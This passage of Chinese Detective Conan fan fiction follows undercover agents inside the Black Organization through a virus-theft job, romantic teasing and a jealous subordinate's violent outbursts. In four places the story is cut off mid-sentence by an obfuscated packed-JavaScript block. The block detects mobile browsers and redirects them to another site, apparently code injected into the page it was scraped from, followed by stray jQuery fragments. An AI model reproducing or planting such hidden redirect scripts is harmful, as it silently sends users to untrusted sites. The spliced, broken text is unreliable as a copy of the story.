外面,找了个无人的角落,诸伏高明和诸星大详谈。
“你知不知道你的做法很不道德?”诸伏高明撩了下眼皮,有些不满地瞥他一眼。
诸星大叹了口气,解释:“我当时没有办法,FBI的情报中,她是组织的外围成员,所以我……”
“一个外围成员而已,一旦你身份暴露,和你有关系甚至可以说推荐你加入组织的宫野明美会有怎样的下场,你明白吧?”诸伏高明几乎是在质问。
诸星大只能辩解:“我明白。可潜入组织是我的任务……”
“对你来说,任务更加重要,至少要比宫野明美的性命更重要。”诸伏高明说出了他遮羞布下的丑陋事实。
诸星大抿紧嘴唇。
许久,诸星大盯着斯洛克的眼睛开口:“我并不认为我有错。虽然她只是个外围,但既然是组织的人,我并不认为她有多无辜,为了守护正义,没有什么是不能被牺牲掉的,不管是她的性命还是我自己的性命。当然,你不是卧底,所以你不能理解也很正常。”
诸伏高明的眼神充满冷漠,不,他是卧底。
正因为是卧底,正因为可以理解,所以他才更感到难过。
真正的投入到组织的这几年,诸伏高明感触最深的就是——这个世界并非非黑即白的。
组织的人未必就全是恶人,同理,那些表面上光鲜亮丽的政客和富豪,也未必就真那么纯白,总有一些迫不得已与唯利是图。
“和宫野明美分手,这件事情我不会再追究。”诸伏高明冷淡地开口,这是宫野志保的请求,既然已经确定了诸星大对宫野明美并非真心,那这场闹剧就该结束了。
诸星大不明白:“你为什么要管这种事?”
没有出卖志保,诸伏高明只冷漠地压迫着他:“你没有拒绝的资格。”
诸星大沉默,在致命弱点被诸伏高明掌控的现在,他的确没资格拒绝,甚至连问个原因的资格都没有。
真是糟糕透了!
诸伏高明怎么会管这样的闲事?这人实在太怪了。
“好。”为了表明自己的态度,诸星大拿出自己的手机当着诸伏高明的面给宫野明美打电话:“明美,我们分手吧。”
对方似乎说了什么,或许是在挽留与疑惑,但诸星大的态度却无比坚决。
“没有什么原因,我喜欢上别人了,就这样吧。”两人的感情此刻还不算太深厚,斩断十分简单,诸星大表明态度后便挂断了电话,顺便将宫野明美的号码拉黑。
他晃了晃手机,给诸伏高明看自己拉黑她的操作。
“你还真干脆。”
“当断不断,反受其乱。”诸星大轻笑,故意凑近诸伏高明对他说:“斯洛克,我会和女朋友分手,这可都是为了你。”
被琴酒吓到出来想透透气的伏特加听到这话立刻震惊地瞪大了双眼,卧槽,大哥马子出轨了!
好你个斯洛克,竟敢背着大哥包养小奶狗,看他不去和大哥告状!
伏特加转身就去找琴酒,到琴酒耳边一通蛐蛐,成功让琴酒的脸色更难看了。
不一会儿,诸伏高
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13497853|142132||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
明回来。
注意到琴酒开始休息,诸伏高明眼睛一亮,立刻凑上去想和他套近乎,琴酒却看都懒得看他一眼起身便走。
“哼!”伏特加也重重冷哼一声,跟在琴酒后面大摇大摆地离开了。
诸伏高明茫然极了,他又哪里惹到琴酒了吗?
三年前,诸伏高明还是个只能跟在琴酒后面捡任务做的外围,三年后的今天,却已经能带人做任务了。
这是诸伏高明带诸星大进行的第一个任务,以往那些给外围的任务,不是帮忙清理尸体就是帮人送物资,而这一次,是正经的情报获取任务。
“他叫做戴维,他手上的优盘里有一份编写好的病毒,你需要将优盘拿过来。”
“是什么病毒?”
“你不需要知道。”
诸星大皱了皱眉,有些不满,但诸伏高明明知道他是卧底还肯带着他做任务,他似乎的确不该再奢求什么了。
等积攒得功劳够多了,那他就可以拿到代号,之后组织的情报他就可以自己去获取了。
“需要我怎么做?”
“是这样的,我知道他家在哪。”诸伏高明拿出一张纸,上面写有目标的地址。
诸星大眼睛一亮,有地址的话,能抓到人,任务几乎可以说绝无失败的可能。
“为了让他能快点交出优盘,我为你准备了特殊的道具。”诸伏高明看着诸星大笑得意味深长。
半小时后,诸星大表情麻木得身穿FBI制服,握着/枪,一脚踹开了目标的房门。
“FBI open the door!”
宛如经典再现。
“噗”地一声,耳麦中传出诸伏高明清晰的笑声。
诸星大硬着头皮闯进去,就见一个金发的男人惊恐地跌在地上,双腿发颤,情绪激动。
“是你,你们还是追来了!”戴维大声尖叫,惊恐得连连往后缩:“别,被杀我,我错了,我不该入侵FBI的网络,我明明已经逃到了霓虹,为什么你们还是追过来了?”
诸星大眼皮狠狠一跳,心底有种不祥的预感。
果然,耳麦中传出诸伏高明淡定的声音:“他手上的病毒,可以轻易入侵FBI的防火墙,窃取FBI的机密,不过他胆子很小,还没有拿到什么情报便放弃了,不过还是被FBI发现并通缉,不得已来到霓虹避难。对了,你们FBI似乎还没人发现他来了霓虹,真幸运,你是第一个。”
诸星大脸色阴沉,可以轻易入侵FBI防火墙的病毒被组织获取,这可并不幸运。
……如果被FBI的同事发现这次任务是他做的,那他以后就不用回去混了。
杀了这个人!
在这一瞬,诸星大甚至对男人流露出杀意,只要杀了这个人,到时借口找不到优盘,或许可以拖延组织获取病毒的时间甚至完全截留病毒。
可诸星大却没想到诸伏高明送他的“道具”这么好用……
“给你,就是这个,我交给你,你不能杀我!”在诸星大还在纠结一条人命的时候,戴维已经爬到抽屉处拿出了优盘,双手捧着给诸星大奉上。
9.宿敌恋人
午后的阳光照射在小路上,融化了积雪,也让人的身体暖融融的。
诸伏高明站在车前,笑着朝黑着脸回来的诸星大招了招手。
“辛苦了,优盘给我。”诸伏高明朝他伸出手。
诸星大更加攥紧了手心中的优盘,简直很不得用拳头的力道将之粉碎。
“没什么好挣扎的,你只能交给我,还是说你要因为一只优盘和我闹翻?”诸伏高明笑吟吟地看着他,也温和安抚他的情绪:“FBI应该也研究过入侵的病毒了,防火墙应该已进行了升级,如果你不放心的话,交给我之后可以再联系你的同事,让他们提前做好准备。”
诸星大死死盯着诸伏高明的眼睛,质问:“如果FBI的机密还是泄露了呢?”
“那就泄露好了。”诸伏高明笑得很玩味儿,戏谑道:“拜托,我是组织的人,为什么要去在意FBI?对我来说任务与奖金才最重要。”
诸星大咬牙,却也明白诸伏高明说得是对的,他根本没必要在意,虽然很不情愿,但他还是将优盘朝诸伏高明递了过去。
诸伏高明伸手拿过,就在他拿过的瞬间,胸口的衣服被用力扯住,然后整个人被狠狠一推,后背重重地撞上车身。
诸伏高明吃痛地闷哼一声,表情却愈发玩味儿,背靠在车身上懒洋洋问诸星大:“怎么?不想给我?”
诸星大将手撑在诸伏高明的脑袋一侧,见他这副油盐不进的模样眼皮狠狠跳了下,低沉地威胁:“斯洛克,你的确很有头脑,但现在我们距离这么近,如果我想杀你,不过是一个动作的事情。”
诸伏高明歪了歪头,头发轻轻扫过诸星大的手腕。
“好啊,杀了我。”他对着FBI露出纤细白皙的脖颈,眼神仍带着笑意,似乎根本不介意致命弱点暴露在人前。
诸星大的呼吸越来越粗重,诸伏高明的挑衅让他压力倍增,却也感受到另一股跃跃欲试的冲动。
这种兴奋到战栗的感觉,他在美国深夜的大道上追击“军师”时也曾感受过。
黑暗仿佛吞噬了一切,火光与爆/炸却在瞬间充盈整个世界,当诸星大开着雪铁龙从连环爆/炸中逃离的那一瞬,肾上腺素飙升到极致的快/感仿佛令他的血液都开始沸腾。
明明长相这样斯文,却偏偏带给了诸星大此生最剧烈的两次快/感。
“怎么,你不敢?”诸伏高明故意凑近诸星大,以更激烈的方式挑衅着他。
“呵。”诸星大突然轻声笑了,他凑近过去,穿着FBI的制服、表情暧昧的在自己的宿敌耳边低语:“斯洛克,你真有种。”
诸伏高明笑容愈发深了。
“我都要忍不住爱上你了。”诸星大的话带着极轻的尾音,仿佛雀跃的小鸟。
只一瞬,诸伏高明脸上的笑容彻底消失不见。
他握着优盘的手成拳,自下而上狠狠打在了诸星大的下巴上,打得诸星大捂着发昏的头脑踉跄退后。
不过这一次笑着的却变成了诸星大,他捂着脑袋发出低低的哼笑,似乎自己不曾遭受重击,只是被亲密的恋人打情骂俏般轻轻锤了一拳。
“别这么用力嘛,我也是会疼的。”诸星大又用另一只手轻轻抚摸被打青的下巴。
诸伏高明眼底闪过一抹暗色,警告他:“赤井秀一,别耍花招。”
听诸伏高明提到自己的真实姓名,赤井秀一站直了身子,肌肉微微绷紧,不敢再造作。
“上车。”诸伏高明随手将优盘塞进衣服口袋,倒也没拒绝赤井秀一的搭乘。
两人上了车,赤井秀一的手指还在轻轻摩挲着下巴处的淤青,感受疼痛一遍遍刺激过身体。
诸伏高明突然问:“戴维呢?”
“打昏了。”意识到诸伏高明语气中的严肃,诸星大不得已也开始公事公办的态度。
不过他仔细打量着诸伏高明,还是忍不住问了句:“你从一开始就没打算杀他?”
“假冒”FBI,以最快的方式拿到优盘,这样既不会暴露组织又不用费心思去拷问。
不过像是戴维那种胆小鬼,就算真要拷问,恐怕也用不了多长时间,组织可比FBI可怕多了。
“他不是病毒的制造者。”诸伏高明开口:“三个月前,戴维在暗网从一个名为‘King’的情报贩子手上购买了病毒,本来是想着敲诈大企业一笔钱财,不过在发现病毒特别好用之后,他便不自量力地攻击了FBI的网络系统。”
结果可想而知。
攻击网络时,能攻进去自然重要,但能安稳撤退则更加重要,戴维显然没有那种能力。
“我还以为他是个编程天才。”诸星大若有所思。
“如果他真的是天才,组织的目标就绝不只是优盘。”
诸星大看着诸伏高明,问:“你还没回答我,你为什么不打算杀他?”
天才还是庸才,这根本无所谓,可斯洛克这种以最小损失完成任务的方式,不是他们卧底才最常用的吗?
诸伏高明深深看了诸星大一眼,反问:“你将组织的人都看作什么了?”
“什么?”诸星大有些不理解。
“组织的人也是人。”诸伏高明单手整理着领带,眼神冷静,说出的话却出乎诸星大的意料:“杀人也会做噩梦,上班也想去摸鱼,最好是只拿钱不干活,组织里的人除了干的事情不被法律所容,其余部分和普通人没什么区别。”
诸星大还是第一次听到这样的说法,冷笑:“我可不觉得组织有将生命当一回事。”
“当然,如果你杀了他我也不会在意,反正做噩梦的不是我。”诸伏高明没有回应诸星大的话,反而说了一番绝对利己主义的话。
诸星大沉默,他竟然开始信了。
“另外,因为你刚刚以下犯上的行为,你这次没有报酬。”
诸星大这次彻底信了。
上班摸鱼、拿钱不办事的典范,不就是斯洛克吗?
说实话,斯洛克做出这种事情来,诸星大竟然出奇得不感到奇怪。
诸伏高明没将诸星大安稳送回基地,远离任务现场之后,他随意将诸星大丢在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13509681|142132||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了一家医院门口,然后便驱车离开了。
一手开车,诸伏高明另一只手摸着自己光滑的下巴,眼神充满兴味儿。
他突然觉得……诸星大刚刚的行为真的很妙。
临近黄昏,琴酒结束了一天的工作,拖着颇有几分疲倦的身子回到自己的安全屋。
远远地,琴酒便注意到了那辆停在自己家门口的凯迪拉克。
积雪在下午融化,在临近傍晚时又凝结成冰,黑色的凯迪拉克静静地停在碎冰中央,远远的好像一尊雕塑。
可当琴酒的车子靠近,那尊雕塑便活了,不止活了,里面甚至刷新出令琴酒都想要拔枪的“怪物“。
FBI的制服最先入了琴酒的眼,猛烈挑战着琴酒本就敏感的神经,可琴酒很快便注意到了那张熟悉的脸,如果是斯洛克这个人,一切似乎就都不令人感到意外了。
这个世界上,好像没什么荒唐事是斯洛克干不出来的。
琴酒将车子熄火,却突然有些不想下车。
“琴酒,到家了怎么不下车?”诸伏高明在外面敲了敲车窗。
琴酒又冷冷瞥了他一眼,实在不是很想直视他另类的穿衣爱好。
“下车了下车了。”
听着外面的碎碎念,琴酒深呼吸,最终还是推开了车门。
“斯洛克,你……”
“别动,你现在被正义的FBI逮捕了。”诸伏高明没有学诸星大一样壁咚琴酒,他总觉得,他们二人之间可以用一些更加亲密的姿势,于是他搂住了琴酒的腰。
细细的、窄窄的、手掌按在腰窝处,令诸伏高明的情绪好像一下雀跃到天上去了。
琴酒几乎是立刻反应,一个擒拿反手将诸伏高明摁在了车上。
诸伏高明却也不恼,甚至还能从容地转换剧情:“好吧,现在的剧情是FBI被犯罪分子抓住,下一步是不是可以开启囚/禁/play了?”
诸伏高明的眼睛亮晶晶的,对后续发展充满期待。
可惜,琴酒终究还是辜负了他。
琴酒松开手,又特别用力地甩了甩,好像手上沾了什么甩不掉的脏东西。
他冷冷扫了诸伏高明一眼,警告他:“斯洛克,你安分一点。”
“难道我还不够安分吗?”诸伏高明叹了口气,双臂环胸和琴酒讲道理:“我回国已经好几天了,你不让我进门,丢掉我送的礼物,还对我冷言冷语,就这样我都没有去半夜爬你的床,这都不叫安分,那什么才是安分?大家都是成年人了,你不能让我一直看得到却吃不到。”
琴酒被他的流氓言论气到了,“你可以去找别人。”
“别人?不是所有人都叫琴酒,也不是所有人都能入我的眼。”诸伏高明摆明了不合作。
“脑子有病。”琴酒骂了句,推开他拿出钥匙要进门。
诸伏高明也迅速挤过去,打算在琴酒开门的一刹那冲进去。
“滚开!”琴酒气得扯住他的衣领用力朝旁一丢。
只听“撕拉”一声,琴酒的手上多了一条碎布。
10.破防
人,是没有丢出去的。
衣服,是瞬间被撕破的。
琴酒怔怔地看着对方突然变成大敞怀的制服,一时都忘了反应。
“你这是要做什么?”诸伏高明非但没捂住自己裸/露的胸口,甚至还拿了琴酒的手往自己胸/上/摸,暧昧地说:“你撕了我的衣服,看了我的身/子,可是要对我负责的。”
碰瓷?
琴酒的表情变得难以置信,斯洛克这个流氓,真是将下三滥的手段学了个十成十,如今竟然还用在他身上了。
“这衣服是不是很妙?”诸伏高明笑眯眯地凑近琴酒耳边和他说:“情趣店的新品,买二赠一,买FBI和CIA的制服,送公安制服哦,你想要的样子我都有。”
“你疯了吗?”琴酒压低声音,几乎被诸伏高明气得声音都在发抖。
“又不是真的,搞搞情趣不可以吗?”诸伏高明朝他眨了眨眼睛。
琴酒一把推开诸伏高明,就好像避开蛇蝎猛兽,堪称慌乱地拧开门便进去了。
“诶,琴酒,等等我……”诸伏高明匆忙上前,却还是慢了一步,被房门无情地关在门外。
他不死心地按了好几下门铃,又改敲门,最终却都没能等到琴酒的回应。
“唉,又失败了。”诸伏高明叹息,怎么琴酒就这么难搞?
高岭之花不愧为高岭之花,他们之间还有得磨呢。
次日清晨,少有的,诸伏高明比琴酒更早来到基地的训练场。
他站在沙袋前,刻意将上衣脱了去,只穿一件宽松的白T,露出内里紧实的肌肉。
诸伏高明挥拳的时候,胳膊上的肱二头肌向上隆起,拳头击打在沙袋上发出无比沉闷的重响。
他在钓鱼,钓一条名为“琴酒”的大鱼。
诸伏高明打了一会儿拳,抬手用手背抹去额上的汗水,朝训练场的门口看了眼。
琴酒还没有来,他今日倒是来得稍晚一些。
真不凑巧,诸伏高明在心底抱怨着,却更加展现自己健美的身材,想要让琴酒进门的第一时间便注意到他。
有人走过来了。
诸伏高明没有回头,心底的小鸟却雀跃起来,上蹿下跳不肯安稳落下。
他终于来了吗?第一时间便被他吸引走过来了?
诸伏高明的唇角微微勾起,就听身后那人开口了:“斯洛克,打拳呢?”
勾起的嘴角重新抿平,诸伏高明回头,冷淡地朝对方打了声招呼:“早啊,阿斯蒂。”
真烦人,不是琴酒。
怎么又是阿斯蒂?每一次阿斯蒂出现,似乎都会打乱诸伏高明的“勾/引”计划。
很快,诸伏高明注意到了阿斯蒂身旁的人,面露错愕。
是卡蒂萨克。
卡蒂萨克站在阿斯蒂身侧,张扬的红发透露出极强的攻击性,他嘴角勾着,绿色的眼睛里没了往日的纯真,反而幽深锐利。
在外人眼里,卡蒂萨克一定是一条凶狠的狼,是露出锋利爪牙的顶尖猎食者,令人看着便心胆俱颤。
可诸伏高明分明看见,名为卡蒂萨克的小刺猬努力藏起了自己粉嫩的肚皮和小爪爪,竖起全身的刺卧在原地一动不动,有人凑近去瞧一眼,他的刺似乎都要颤上一颤。
“这是刚来情报组报到的新人卡蒂萨克,听说在美国的时候你们很熟?”阿斯蒂试探着诸伏高明的态度。
卡蒂萨克是斯洛克手底下的一条疯狗,会毫无畏惧地咬杀所有胆敢伤害斯洛克的人,这一点在美国那边并不是什么秘密,阿斯蒂自然也知晓,所以才更加疑惑。
按理说,两人关系这样亲密,卡蒂萨克就算是来了霓虹,也该跟在斯洛克身边才对。
“嗯,很熟。”诸伏高明点头,很满意卡蒂萨克向情报组的融入。
霓虹不比美国,这里是组织的大本营,他没有绝对的话语权,自己都在别人手底下讨饭吃,自然保不住卡蒂萨克。但若是卡蒂萨克加入朗姆的阵营,凭借他的能力,只要不犯病,绝对可以过得很好。
卡蒂萨克没有说话,他死死盯着诸伏高明身上突出的肌肉,又看了眼摇晃不止的沙袋,突然一步跨前,一记冲拳狠狠砸在了沙袋上。
沙袋飞出极大的弧度,返回来时被诸伏高明用两只手才稳住。
“力气很大。”诸伏高明称赞。
卡蒂萨克“哼”了声,骄傲地抬起下巴。
可很快,那种骄傲又荡然无存,他紧紧咬住自己的下嘴唇,他明明已经这么强了,明先生却还是不肯要他。
明先生不肯做他的上司。
明先生希望他另投他处。
明先生不要他了……
强行隐忍着心底翻涌的情绪,卡蒂萨克不肯服输,他要证明给明先生看,就算没有他,自己也可以过得很好。
他不再是以前那个靠着明先生才能活下去的弱鸡了!
见诸伏高明没什么不满,阿斯蒂相当满意,笑着说:“他也算是我的新下属,你不介意就好。”
“没关系,他能找到你这样的上司,我很欣慰。”诸伏高明朝阿斯蒂笑了笑。
就在此时,诸星大走进了训练场。
环视一圈,他远远地就注意到了诸伏高明,立刻抬手朝他打招呼:“斯洛克!”
诸星大一路小跑到诸伏高明身边,几乎是立刻感觉自己被什么猛兽给盯上了,他皱了皱眉,看了正恶狠狠盯着自己的卡蒂萨克一眼。
这人谁啊?以前好像没见过,他应该没得罪过这个人吧?
诸伏高明的心也微妙地有些紧张,就要先带着诸星大离开,阿斯蒂却开口了。
“卡蒂萨克,给你介绍,这是诸星大,斯洛克的下属。”
斯洛克的下属……
的下属……
下属……
那双绿色的眼睛猛地充血,几乎瞬间变成幽邃的深绿,他的嘴唇在颤抖,面部肌肉剧烈抽动着。
“卡蒂萨克,冷静!”诸伏高明立刻明白了不妙。
卡蒂萨克却在他开口的同时动手,狠狠一脚踢向了诸星大,鞋尖直指诸星大的咽喉,几乎是奔着要他命去的。
诸星大在心底暗骂一声,险之又险地避开了这一击,还未来得及喘息便见卡蒂萨克掏出手/枪对准了自己。
过了吧!
诸星大震惊,一言不合,在训练场这种对方对他拔枪相向?
来不及多想,身体的本能先头脑一步
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13534650|142132||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,快速朝旁躲闪,子/弹虽没有击中他的要害,却还是擦伤了他的手臂。
诸星大难以置信地盯着卡蒂萨克,这家伙神经病吧,竟然一点威吓的意思都没有,拿枪出来就要弄死他?
就在卡蒂萨克要开第二/枪的时候,诸伏高明终于上前控制住了他,硬掰着将他的枪/口朝上,“砰”地对天发出了第二声枪/响。
一切都在电光火石间发生,训练场里几乎所有人都呆住了,大家远远地看着这一幕,谁都不敢上前。
“卡蒂萨克,冷静,深呼吸。”一只手掰着卡蒂萨克的手,诸伏高明另一只手覆盖住他的眼睛,声音低沉地命令着。
在诸伏高明略显强硬的安抚中,卡蒂萨克身上的肌肉一点点放松,握着枪的手也慢慢松开了。
诸伏高明趁机夺走了他的枪,这才缓缓松了口气。
他的另一只手仍不敢移开,遮盖住他的眼睛声音放轻:“卡蒂萨克,我没有不要你,只要你想,你随时都可以回来。你永远是我最重要的助力,是我无法舍弃的一部分。”
他的安抚奏效了,卡蒂萨克的呼吸渐渐平稳下来,整个人趋向于冷静。
“诸星……”
“你们都是我的下属。”
卡蒂萨克下意识挣扎了下。
诸伏高明立刻用手臂箍住他,说:“但你永远是最重要的那个。”
卡蒂萨克不再挣扎了。
突然,诸伏高明感觉自己遮着他眼睛的手有些湿。
他哭了。
诸伏高明缓缓叹了口气,他坚定地拉着卡蒂萨克的手,另一只手仍遮在他的眼睛处,对阿斯蒂说:“抱歉,但很显然,卡蒂萨克并不适应在你的手下做事。”
阿斯蒂被刚刚的一幕吓了一跳,这会儿就算诸伏高明肯将人给他,他也不敢再要了,于是立刻说道:“没关系,你带他走吧。”
诸伏高明点了点头,又对诸星大说:“诸星大,你自己去医务室包扎一下。”
卡蒂萨克的身体又挣扎了下,却再一次被诸伏高明压制了。
诸星大深深看了他怀里的卡蒂萨克一眼,点头。
解决好一切,诸伏高明一只手搂着卡蒂萨克,另一只手遮住卡蒂萨克的眼睛,就这样带着他朝外面走去。
走到门口时,诸伏高明刚好与要进门的琴酒撞见,他的表情瞬间无比复杂,但最终还是什么都没说,先带着卡蒂萨克出去了。
伏特加震惊地看着这一幕,等诸伏高明离开连忙去扒拉琴酒,“大哥,你看他!”他竟然公然搂着小奶狗朝大哥挑衅!
琴酒的脸色也很不好看,但他却什么都没说,径直走进了训练场。
阿斯蒂这会儿已经从刚刚的惊吓中回过神来,一见琴酒顿时露出坏笑,故意阴阳怪气:“有些人啊,忌贤妒才,将有能力的下属给驱逐了。但人家有能力就是有能力,哪怕在国外都能拥有一群忠实的拥护者,某人当年那么欺负人,现在可要倒大霉咯。”
阿斯蒂嘲讽完便等着看琴酒气急败坏的模样,可琴酒压根没看他一眼,反而看了眼捂着手臂的诸星大,顿时将阿斯蒂给气到了。
该死的琴酒,等着瞧吧,卡蒂萨克那么疯,迟早也给琴酒来上几/枪!
11.拦路
诸伏高明第一次见卡蒂萨克,是他去美国的第一年。
那时,诸伏高明还很不受待见,每天只能住宾馆,高层的决议也从不允许他参加。
他是个很会放松自己的人,枯燥无聊的时候,他便会去海边走走,捡一些贝壳回去,有时也捉一些螃蟹。
那日黄昏,他在沙滩上散步,因为天色渐渐暗了下来,周围已没有什么游客。
一辆面包车就在那个时候冲了过来,车子停在距离诸伏高明不远的地方,一个猫儿一般瘦弱的小孩先被人从车上一把丢下,紧接着三个魁梧的大汉下了车,对着小孩便开始了拳打脚踢。
诸伏高明惊叹于美国这边彪悍的民风,他也很快反应过来,快步过去阻拦。
“斯洛克?”有人认出了诸伏高明。
诸伏高明错愕,没想到他们竟然是组织的人。
“你要救他?”认出诸伏高明的大汉揪着小孩的衣领将他提了起来。
小孩被提得两脚离地,窒息感令他身体颤抖着,无力地在大汉手上扭动、挣扎。
“我对他很感兴趣。”
“感兴趣?送你啊!”大汉一把将小孩推进诸伏高明怀里。
诸伏高明慌忙接住,下一秒,大汉的拳头也砸在了诸伏高明脸上。
“妈的,你算是什么东西!这小子是皮尔斯大人指明了要沉海的,你也敢碰?”大汉骂了一声,满脸倨傲。
他们当然应该嚣张,据诸伏高明所知,皮尔斯是美国分部这边的二把手。
这种时候,诸伏高明该立刻收手,甚至对三人赔礼道歉,最好是帮着三人将怀里的孩子绑石头沉海。
可诸伏高明用大拇指抹去嘴角的鲜血,非但没有认错,反而阴冷地笑了。
“皮尔斯?”诸伏高明呢喃着这个名字,突然大骂:“他算是什么东西!”
伴随着这声大骂,诸伏高明一脚踹在大汉的胸口,一场拳拳到肉的战斗开始了。
一对三,还带着个拖油瓶。
诸伏高明一战成名,虽然同样被打得鼻青脸肿,但他敢硬刚二把手这一点却得到了一把手的赏识。
他一瘸一拐地带着小孩去了医院,对方乖巧极了,被医生处理伤口的时候也不喊疼,就乖乖地看着诸伏高明,生怕他丢下自己跑了。
现在想来,卡蒂萨克对他的依赖,大概从那个时候便初见端倪。
诸伏高明叹了口气,认命地带着卡蒂萨克上了车,这才松开捂住对方眼睛的手。
“对、对不起。”卡蒂萨克这会儿已经完全清醒了。
“你很久没犯病了。”
卡蒂萨克愧疚地垂下了头。
“皮尔斯当时对我说,你就是个小疯子,他只是打了你一巴掌,你却想要杀了他。”诸伏高明说着曾经皮尔斯和他的对峙。
诸伏高明当时并没有相信,因为卡蒂萨克真的很乖,任由自己如何摆弄都没有露出具有攻击性的一面。
可皮尔斯是对的。
卡蒂萨克患有极为严重的精神问题,疑似双重人格。
他日常表露在外的人格纯真、阳光、像是个喜欢对人摇尾巴的快乐小狗,可他内里隐藏的人格却极度危险,情绪不稳定且嗜血嗜杀。
在美国的那三年,诸伏高明努力去纠正卡蒂萨克的行为,卡蒂萨克也并没有让他失望,除了第一年的时候他情绪偶尔不稳定会露出嗜血的一面,之后两年都乖乖的,好像已完全痊愈了。
“对不起,明先生。”卡蒂萨克只能道歉,害怕地看着诸伏高明,担心诸伏高明会嫌他麻烦不要他。
“卡蒂萨克,我们以前说好的,如果你想跟在我身边,就不能再犯病了。”诸伏高明认真注视着卡蒂萨克的眼睛,语气虽温柔,却还是让卡蒂萨克感到恐惧。
卡蒂萨克连忙保证:“我不会再犯病了,明先生,你不能不要我!”
诸伏高明轻轻抚摸着卡蒂萨克的头,温柔地安抚他:“我知道,我之前让你去找别人这件事刺激到了你,只要你乖乖的,不要犯病,你可以继续跟着我,我也会一直注视着你。”
“一直都注视着我吗?”卡蒂萨克眼神充满希冀。
“嗯,一直。”
卡蒂萨克顿时开心起来,抱着诸伏高明的胳膊用脑袋蹭来蹭去,不肯撒手。
他就知道,明先生最喜欢他了,不可能不要他的!
他以后会乖乖的,他会隐藏得很好,绝不会让明先生发现的!
“没有我的示意,不要伤害任何人,卡蒂萨克。”
“嗯嗯。”
卡蒂萨克乖巧地答应着,只要是明先生的要求,他全部全部都会答应的。
但有一个人……还有一个人……
卡蒂萨克小心隐藏住自己的杀意不敢让明先生知道,还有一个人他绝对不会放过!
经过几日的融化又凝结,积雪已彻底成了冰。
琴酒虽特意为保时捷换了防滑轮胎,伏特加开车的时候却还是小心许多。
任务结束,琴酒系上安全带,靠在副驾驶上闭目养神。
正在开车的伏特加突然惊讶地叫出了声:“小奶狗?”
琴酒皱眉,不悦地扫了伏特加一眼,他是又看什么偶像剧看坏脑子了吗?
突然,一股凌厉的杀气直指向自己,琴酒脸色一变,快速看向车子的前方。
车前方的大道正中央,一头红发的卡蒂萨克笔挺地站着,十分扎眼。
“停车。”琴酒命令。
伏特加连忙停车,下车后便指着卡蒂萨克的鼻子大骂:“你搞什么?站在路中央是活腻了吗?脑子有病!”
卡蒂萨克歪了歪头,露出神经质的笑容。
伏特加顿时被他笑得打了个冷颤,等等,卡蒂萨克该不会真脑子有病吧?
下一刻,卡蒂萨克猛冲向伏特加,手中寒光一闪,匕首直刺向伏特加胸口。
同样下了车的琴酒脸色一变,将伏特加朝旁一拉,避开匕首的同时又一脚踹向卡蒂萨克。
卡蒂萨克也不躲,匕首迅速回撤狠狠割向琴酒的脚腕。
琴酒不得已下收脚,身体却朝前一步,手肘狠狠撞击在卡蒂萨克的腹部。
卡蒂萨克的身子倒飞了出去,跌在地上后手却仍紧紧攥着匕首,与琴酒一般无二的绿色眼睛阴狠地瞪着琴酒。
琴酒也冷冷看着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560285|142132||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
卡蒂萨克,两人一冷静、一疯狂,对比强烈。
卡蒂萨克艰难地从地上爬了起来,忍着疼痛再一次朝琴酒冲去,他要杀了琴酒,绝对要干掉这个伤害了明先生的家伙!
琴酒冷漠地盯着他,伏特加已经慌忙拿出手/枪,对着卡蒂萨克开了一/枪。
子/弹落在了空处,卡蒂萨克已经再一次近身,眼底流露出得意与疯狂。
可惜……
琴酒一把握住他的胳膊,拧掉他手上匕首的同时将他揪起来抡圆了狠狠摔在地上。
卡蒂萨克“哇”地吐出一大口鲜血,眼神都涣散了一瞬。
“妈的,你找死!”伏特加将枪/口抵在了卡蒂萨克的脑门上。
卡蒂萨克涣散的目光还没能彻底凝聚,身体已软了,跌在地上根本无法起身。
琴酒摁住了伏特加的手,低声:“我们走。”
“大哥?”伏特加很震惊,不杀了他吗?
“你刚刚开了枪,说不定已经惊动了附近的人。”琴酒不由分说,拿着卡蒂萨克的匕首示意伏特加随自己上车。
